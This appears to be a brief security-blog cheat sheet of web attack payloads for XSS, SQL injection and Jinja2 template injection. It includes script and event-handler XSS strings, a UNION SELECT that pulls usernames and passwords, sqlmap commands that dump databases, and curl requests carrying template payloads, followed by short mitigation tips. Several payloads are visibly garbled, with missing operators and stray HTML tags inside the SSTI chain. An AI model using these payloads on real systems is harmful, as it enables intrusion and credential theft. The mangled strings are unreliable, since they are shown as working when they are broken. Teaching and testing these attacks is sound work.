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In the world of cybersecurity, understanding payloads for common vulnerabilities like Cross-Site Scripting (XSS), SQL Injection (SQLi), and Server-Side Template Injection (SSTI/CSTI) is crucial for both penetration testers and ethical hackers. Below, we explore these payloads in detail, along with practical examples and commands to test and exploit these vulnerabilities.
1. Cross-Site Scripting (XSS) Payloads
XSS attacks involve injecting malicious scripts into web pages viewed by other users.
Common XSS Payloads:
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<
svg/onload=alert('XSS')>
Testing with Browser Console:
document.cookie="malicious=payload"; alert(document.cookie);
2. SQL Injection (SQLi) Payloads
SQLi allows attackers to manipulate database queries.
Basic SQLi Payloads:
' OR '1'='1 " OR ""=" ' UNION SELECT username, password FROM users--
Testing with SQLMap:
sqlmap -u "http://example.com/login?user=admin" --dbs sqlmap -u "http://example.com/login?user=admin" --tables -D db_name
3. Server-Side Template Injection (SSTI/CSTI) Payloads
SSTI occurs when an attacker injects malicious input into a server-side template engine.
Common SSTI Payloads (Jinja2 Example):
{{ 7 7 }}
{{ ''.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>() }}
Exploiting SSTI in Flask:
curl -X POST "http://vulnerable-site.com/render" --data "template={{config.items()}}"
You Should Know:
- Detecting XSS: Use tools like Burp Suite or XSS Hunter.
- Preventing SQLi: Always use parameterized queries and ORM frameworks.
- Mitigating SSTI: Sanitize user inputs and avoid dynamic template rendering.
Practical Commands for Security Testing
Check for XSS vulnerabilities with Nikto
nikto -h http://example.com
Automated SQLi scanning with SQLMap
sqlmap -u "http://example.com?id=1" --batch --dump
Test SSTI manually
curl -X POST "http://test.com/search" --data "q={{77}}"
What Undercode Say
Understanding payloads for XSS, SQLi, and SSTI is essential for cybersecurity professionals. Always test vulnerabilities ethically and follow responsible disclosure. Strengthen defenses by:
– Using Content Security Policy (CSP) for XSS.
– Implementing WAF (Web Application Firewall) rules.
– Regularly updating server-side template engines.
Expected Output:
- Successful execution of payloads in a controlled environment.
- Detection of vulnerabilities before malicious actors exploit them.
- Enhanced security posture through proactive testing.
Relevant Course URLs:
References:
Reported By: Zlatanh Payload – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
